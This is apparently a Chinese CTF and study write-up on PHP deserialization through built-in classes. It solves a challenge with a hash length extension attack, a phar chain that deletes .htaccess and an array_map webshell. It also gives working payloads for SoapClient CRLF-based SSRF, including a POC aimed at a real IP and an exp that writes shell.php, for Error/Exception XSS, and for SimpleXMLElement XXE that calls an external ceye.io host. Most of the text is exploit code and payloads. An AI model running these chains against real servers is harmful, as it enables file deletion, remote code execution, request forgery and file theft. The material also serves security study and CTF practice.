前言
如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。
原生类之ZipArchive::open()
官方介绍
此函数使用条件PHP>=5.2.0,PHP7的环境,flag的参数有不同的作用,可以创建一个不存在的压缩包,或者是覆盖一个已存在的的压缩包
本地演示一下
<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
var_dump(file_exists('1.txt'));
如果打印结果为flase,说明1.txt被删除了
去文件夹内发现1.txt确实被删除了
做道ctf题实战一下
admin 123465可以登陆进去,然后是个上传页面
不是admin无法上传,可以发现www.zip有源码泄露,大概审计了下代码
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}
登陆前生成一个cookie,我们如何成为admin可以使用 hash扩展攻击
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
我们需要满足:
1. username = “admin” && password != “admin”
2. $_COOKIE[‘user’] === md5($secret.$this->username.$this->password)
结合上面的
md5($secret."adminadmin") = 52107b08c0f3342d2153ae1d68e6262c
可以使用哈希长度扩展攻击来绕过获取$secret的步骤,直接获取password
这里由于不知道$secret的长度,只能依次将长度+1然后生成exp。登陆上传。当测试到第13个的时候就成功了
或者直接
hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 13 -a pcat
用hashpump写个脚本:
import requests,hashpumpy,urllib
def webre():
sha='52107b08c0f3342d2153ae1d68e6262c'
string0='admin'
string1='pcat'
for i in range(15):
digest,message=hashpumpy.hashpump(sha,string0,string1,i)
role=urllib.quote(message[::])
hsh=digest
payload={'post':role,'hash':hsh}
print(i,payload)
webre()
最后得到
username:admin
password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin
$_Cookie['user'] = 7e6270e35bf7b74982d8fff6382b5048
安装HashPump的坑比较多,各种报错。
后面就是使用username和password登录,加上cookie的user值,登录上传就可以了。
.htaccess文件是异常的,所以上传的木马无法正常访问。
往下看,发现当使用is_admin()判断完后,又调用了一个check()方法
是对上传文件的内容进行检测,如果出现system,eval,assert这类危险字段,程序就会报错退出。但是由于是黑名单校验,简单变形即可绕过。
继续看一下view.php文件
发现使用GET方法获取前端传进来的filename,filepath,实例化一个File类的对象,将解码后filename,filepath传入类中,并调用view_detail方法。
跟进File这个类
view_detail方法会先检测传进来的filepath是否以phar,compress,zip…等字段开头。接下来使用mime_content_type来检测文件mime类型。问题点就在这里触发,因为mime_content_type可以使用phar://触发phar反序列化
那就步入今天的正题了
可以通过ZipArchive类调用open方法,并设置flag参数为ZipArchive::OVERWRITE来删除.htaccess文件,尝试来构造一个POP链:
ZipArchive::open()在PHP>=5.2.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件
- Profile类中open方法在魔术方法__call内被$this->admin调用,存在同名open方法被php内置类ZipArchive调用,利用此类下的open方法可以作文件删除。此时就需要把admin赋值为ZipArchive类的对象,并构造第一个参数为要删除的文件路径,第二个参数ZipArchive::OVERWRITE
$this->admin = new ZipArchive() $this->username = "/var/www/html/sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"; $this->password = ZIPARCHIVE::OVERWRITE;
call()方法在在对象调用不存在方法时触发,在File类中的析构函数中存在$this->checker = upload_file(),当给checker赋值为Profile类的对象,此时调用upload_file(),由于函数不存在。那么就会触发call魔术方法
$this->checker = new Profile()
最终的调用链为:
Profile::open() <-- Profile::__call <-- File::__destruct
构造phar文件 ```php <?php class File{
public $filename; public $filepath; public $checker;
function __construct($filename, $filepath) {
$this->filepath = $filepath; $this->filename = $filename; $this->checker = new Profile();
} }
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "/var/www/html/sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
$this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$this->admin = new ZipArchive();
}
} $a = new File(‘filename’,’filepath’); @unlink(“test.phar”); $phar = new Phar(“jtest.phar”); //后缀名必须为phar $phar->startBuffering(); $phar->setStub(“<?php __HALT_COMPILER(); ?>”); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString(“test.txt”, “test”); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
上传phar文件,访问时需要注意对filepath的检测
```php
php://filter/resource=phar://...../xxxx.phar
访问之后触发反序列化pop链删除.htaccess文件
再上传小马
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
?a=system&b=cat%20flag
即可拿到了flag。
一个知识点做一天了,明天继续更原生类,冲冲冲!
原生类之SoapClient::__call
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
官方的介绍
说明:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数$wsdl是文件的uri,如果是NULL意味着不使用WSDL模式。
第二个参数是数组,如果在wsdl模式下,此参数可选;如果参数wsdl为空,则必须设置location和uri选项,其中location是要将请求发送到SOAP服务器的URL,而uri是SOAP服务的明明空间。
本地使用SoapClient类要在php.ini配置文件里面开启extension=php_soap.dll选项
<?php
error_reporting(0);
$a = new SoapClient(null,array('uri'=>'xxx', 'location'=>'http://127.0.0.1:5555/yyy'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?>
上面的代码在执行反序列化时,会执行SoapClient,当其没有成员函数时,会自动调用该类的__call方法,然后向target_url发送一个soap请求,uri选项我们可控。
SoapClient类也会有CRLF注入的问题
可以看到options参数中还有一个选项为user_agent,运行我们自己设置User-Agent的值。
当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。
本地测试:
<?php
$a = new SoapClient(null,array('uri'=>"xxx\r\n\r\nzzz\r\n", 'location'=>'http://127.0.0.1:5555/yyy'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?>
最后给出wupco师傅的生成任意POST报文的POC:
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>
如果是GET请求的话,那么构造好location就行:
<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>
利用场景:
demo.php
<?php
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo 'hi';
@$a=$_POST[1];
@eval($a);
}
?>
exp.php
<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;
$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();
?>
原生类之Error(php7)/Exception(php5,php7)
Error类就是PHP的一个内置类用于自动定义一个Error,在php7环境下可能会造成一个xss漏洞,因为它内置有一个__toString()魔术方法。
Exception类和Error类原理一样,其适用PHP5,PHP7。
本地演示一下
demo.php
<?php
$a = unserialize($_GET['a']);
echo $a;
?>
exp
<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>
payload
a=O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A55%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cyuansheng%5CError%5Cpayload.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
Exception类
调用Exception类生成xss序列化payload:
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));?>
得到编码后的序列化结果:
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A55%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cyuansheng%5CError%5Cpayload.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
原生类之SimpleXMLElement
利用方法就是实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。
SimpleXMLElement :(PHP 5, PHP 7)
功能 :用来表示XML文档中的元素,为PHP的内置类
直接传入一个包含恶意payload的XML代码即可。
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://dt860r.ceye.io">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>
访问php文件,即可造成xxe攻击
结束了,原生类的学习,碰到了ctf题会补上。